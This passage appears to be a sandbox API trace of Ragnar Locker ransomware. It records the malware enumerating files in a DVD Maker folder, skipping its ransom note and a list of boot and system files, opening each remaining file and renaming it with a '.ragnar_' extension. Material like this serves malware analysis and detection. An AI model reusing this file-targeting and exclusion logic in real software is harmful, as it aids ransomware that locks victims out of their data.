maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.098] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70269072, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70269072, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0079.098] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.098] lstrcpyW (in: lpString1=0x1eab60, lpString2="PreviousMenuButtonIcon.png" | out: lpString1="PreviousMenuButtonIcon.png") returned="PreviousMenuButtonIcon.png" [0079.098] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned=".png" [0079.098] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.098] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="autorun.inf") returned 1 [0079.098] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="boot.ini") returned 1 [0079.098] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="bootfont.bin") returned 1 [0079.098] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="bootsect.bak") returned 1 [0079.098] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="bootmgr") returned 1 [0079.098] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="bootmgr.efi") returned 1 [0079.098] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="bootmgfw.efi") returned 1 [0079.098] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="desktop.ini") returned 1 [0079.098] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="iconcache.db") returned 1 [0079.098] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="ntldr") returned 1 [0079.098] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="ntuser.dat") returned 1 [0079.098] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="ntuser.dat.log") returned 1 [0079.098] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="ntuser.ini") returned 1 [0079.098] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="thumbs.db") returned -1 [0079.098] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.098] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.098] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.098] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.098] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.098] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.098] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png")) returned 0x20 [0079.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.099] CloseHandle (hObject=0xffffffff) returned 0 [0079.099] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" [0079.099] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png.ragnar_FD7BD9FC" [0079.099] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.099] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b532c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x702b532c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIconSubpi.png", cAlternateFileName="")) returned 1 [0079.099] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.099] lstrcpyW (in: lpString1=0x1eab60, lpString2="PreviousMenuButtonIconSubpi.png" | out: lpString1="PreviousMenuButtonIconSubpi.png") returned="PreviousMenuButtonIconSubpi.png" [0079.099] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png") returned=".png" [0079.099] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.099] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="autorun.inf") returned 1 [0079.099] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="boot.ini") returned 1 [0079.099] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="bootfont.bin") returned 1 [0079.099] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="bootsect.bak") returned 1 [0079.099] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="bootmgr") returned 1 [0079.099] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="bootmgr.efi") returned 1 [0079.099] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="bootmgfw.efi") returned 1 [0079.099] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="desktop.ini") returned 1 [0079.099] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="iconcache.db") returned 1 [0079.099] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="ntldr") returned 1 [0079.099] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="ntuser.dat") returned 1 [0079.099] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="ntuser.dat.log") returned 1 [0079.099] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="ntuser.ini") returned 1 [0079.099] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="thumbs.db") returned -1 [0079.099] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.099] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.100] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.100] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.100] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.100] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.100] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png")) returned 0x20 [0079.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.101] CloseHandle (hObject=0xffffffff) returned 0 [0079.101] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" [0079.101] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png.ragnar_FD7BD9FC" [0079.101] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.101] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700ec2d0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700ec2d0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc24, dwReserved0=0x0, dwReserved1=0x0, cFileName="redmenu.png", cAlternateFileName="")) returned 1 [0079.101] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.101] lstrcpyW (in: lpString1=0x1eab60, lpString2="redmenu.png" | out: lpString1="redmenu.png") returned="redmenu.png" [0079.101] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png") returned=".png" [0079.101] lstrcmpiW (lpString1="redmenu.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.101] lstrcmpiW (lpString1="redmenu.png", lpString2="autorun.inf") returned 1 [0079.101] lstrcmpiW (lpString1="redmenu.png", lpString2="boot.ini") returned 1 [0079.101] lstrcmpiW (lpString1="redmenu.png", lpString2="bootfont.bin") returned 1 [0079.101] lstrcmpiW (lpString1="redmenu.png", lpString2="bootsect.bak") returned 1 [0079.101] lstrcmpiW (lpString1="redmenu.png", lpString2="bootmgr") returned 1 [0079.102] lstrcmpiW (lpString1="redmenu.png", lpString2="bootmgr.efi") returned 1 [0079.102] lstrcmpiW (lpString1="redmenu.png", lpString2="bootmgfw.efi") returned 1 [0079.102] lstrcmpiW (lpString1="redmenu.png", lpString2="desktop.ini") returned 1 [0079.102] lstrcmpiW (lpString1="redmenu.png", lpString2="iconcache.db") returned 1 [0079.102] lstrcmpiW (lpString1="redmenu.png", lpString2="ntldr") returned 1 [0079.102] lstrcmpiW (lpString1="redmenu.png", lpString2="ntuser.dat") returned 1 [0079.102] lstrcmpiW (lpString1="redmenu.png", lpString2="ntuser.dat.log") returned 1 [0079.102] lstrcmpiW (lpString1="redmenu.png", lpString2="ntuser.ini") returned 1 [0079.102] lstrcmpiW (lpString1="redmenu.png", lpString2="thumbs.db") returned -1 [0079.102] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.102] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.102] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.102] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.102] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.102] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.102] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png")) returned 0x20 [0079.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.102] CloseHandle (hObject=0xffffffff) returned 0 [0079.102] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" [0079.102] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png.ragnar_FD7BD9FC" [0079.102] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.102] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81603820, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81603820, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.103] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.103] lstrcpyW (in: lpString1=0x1eab60, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.103] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.103] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0079.103] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ddc950f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8232c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop.wmv", cAlternateFileName="")) returned 1 [0079.103] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.103] lstrcpyW (in: lpString1=0x1eab60, lpString2="Scene_loop.wmv" | out: lpString1="Scene_loop.wmv") returned="Scene_loop.wmv" [0079.103] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv") returned=".wmv" [0079.103] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0079.103] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="autorun.inf") returned 1 [0079.103] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="boot.ini") returned 1 [0079.103] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="bootfont.bin") returned 1 [0079.103] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="bootsect.bak") returned 1 [0079.103] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="bootmgr") returned 1 [0079.103] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="bootmgr.efi") returned 1 [0079.103] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="bootmgfw.efi") returned 1 [0079.103] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="desktop.ini") returned 1 [0079.103] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="iconcache.db") returned 1 [0079.103] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="ntldr") returned 1 [0079.103] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="ntuser.dat") returned 1 [0079.103] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="ntuser.dat.log") returned 1 [0079.103] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="ntuser.ini") returned 1 [0079.103] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="thumbs.db") returned -1 [0079.103] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0079.103] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0079.103] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0079.103] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0079.103] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0079.103] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0079.103] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0079.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv")) returned 0x20 [0079.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.104] CloseHandle (hObject=0xffffffff) returned 0 [0079.104] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" [0079.104] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv.ragnar_FD7BD9FC" [0079.104] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.104] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70399b5a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70399b5a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4de61a87, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x95bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0079.104] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.104] lstrcpyW (in: lpString1=0x1eab60, lpString2="Scene_loop_PAL.wmv" | out: lpString1="Scene_loop_PAL.wmv") returned="Scene_loop_PAL.wmv" [0079.104] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv") returned=".wmv" [0079.104] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0079.104] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="autorun.inf") returned 1 [0079.104] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="boot.ini") returned 1 [0079.104] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="bootfont.bin") returned 1 [0079.104] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="bootsect.bak") returned 1 [0079.104] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="bootmgr") returned 1 [0079.104] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="bootmgr.efi") returned 1 [0079.104] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="bootmgfw.efi") returned 1 [0079.104] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="desktop.ini") returned 1 [0079.104] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="iconcache.db") returned 1 [0079.104] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="ntldr") returned 1 [0079.104] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="ntuser.dat") returned 1 [0079.104] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="ntuser.dat.log") returned 1 [0079.104] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="ntuser.ini") returned 1 [0079.104] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="thumbs.db") returned -1 [0079.104] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0079.105] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0079.105] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0079.105] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0079.105] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0079.105] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0079.105] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0079.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv")) returned 0x20 [0079.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.105] CloseHandle (hObject=0xffffffff) returned 0 [0079.105] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" [0079.105] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv.ragnar_FD7BD9FC" [0079.105] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd 